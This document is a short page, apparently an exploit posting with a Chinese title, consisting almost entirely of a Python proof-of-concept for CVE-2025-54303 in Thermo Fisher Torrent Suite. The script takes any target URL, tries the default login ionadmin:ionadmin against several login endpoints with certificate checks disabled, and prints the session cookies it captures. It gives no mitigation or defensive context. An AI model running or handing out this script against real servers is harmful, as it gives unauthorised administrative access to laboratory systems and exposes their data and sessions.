CVE-2025-54303 Thermo Fisher Torrent Suite 默认凭证漏洞

import requests import sys # CVE-2025-54303 PoC - Thermo Fisher Torrent Suite Default Credentials # Target: Thermo Fisher Torrent Suite Django application <= 5.18.1 # Vulnerability: Default credentials (ionadmin:ionadmin) def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-54303. Attempts to authenticate with default ionadmin credentials. """ # Normalize URL if not target_url.startswith('http'): target_url = 'https://' + target_url if target_url.endswith('/'): target_url = target_url[:-1] # Default credentials username = 'ionadmin' password = 'ionadmin' # Try authentication via common Torrent Suite login endpoints login_endpoints = [ '/api/v1/auth/login', '/auth/login/', '/admin/login/', '/login/', '/', ] print(f'[*] Target: {target_url}') print(f'[*] Attempting default credentials: {username}:{password}') for endpoint in login_endpoints: url = target_url + endpoint try: # Try form-based login response = requests.post( url, data={'username': username, 'password': password}, timeout=10, verify=False, allow_redirects=True ) # Check for successful login indicators if response.status_code in [200, 302] and any(indicator in response.text.lower() for indicator in ['admin', 'dashboard', 'torrent', 'logout', 'session']): print(f'[+] VULNERABLE! Authenticated successfully via {endpoint}') print(f'[+] Status code: {response.status_code}') print(f'[+] Session/Cookie: {response.cookies.get_dict()}') return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') continue print('[-] Could not authenticate with default credentials.') print('[-] Target may not be vulnerable or may use different login mechanism.') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_54303_poc.py <target_url>') print('Example: python cve_2025_54303_poc.py https://torrent-suite.example.com') sys.exit(1) target = sys.argv[1] check_vulnerability(target)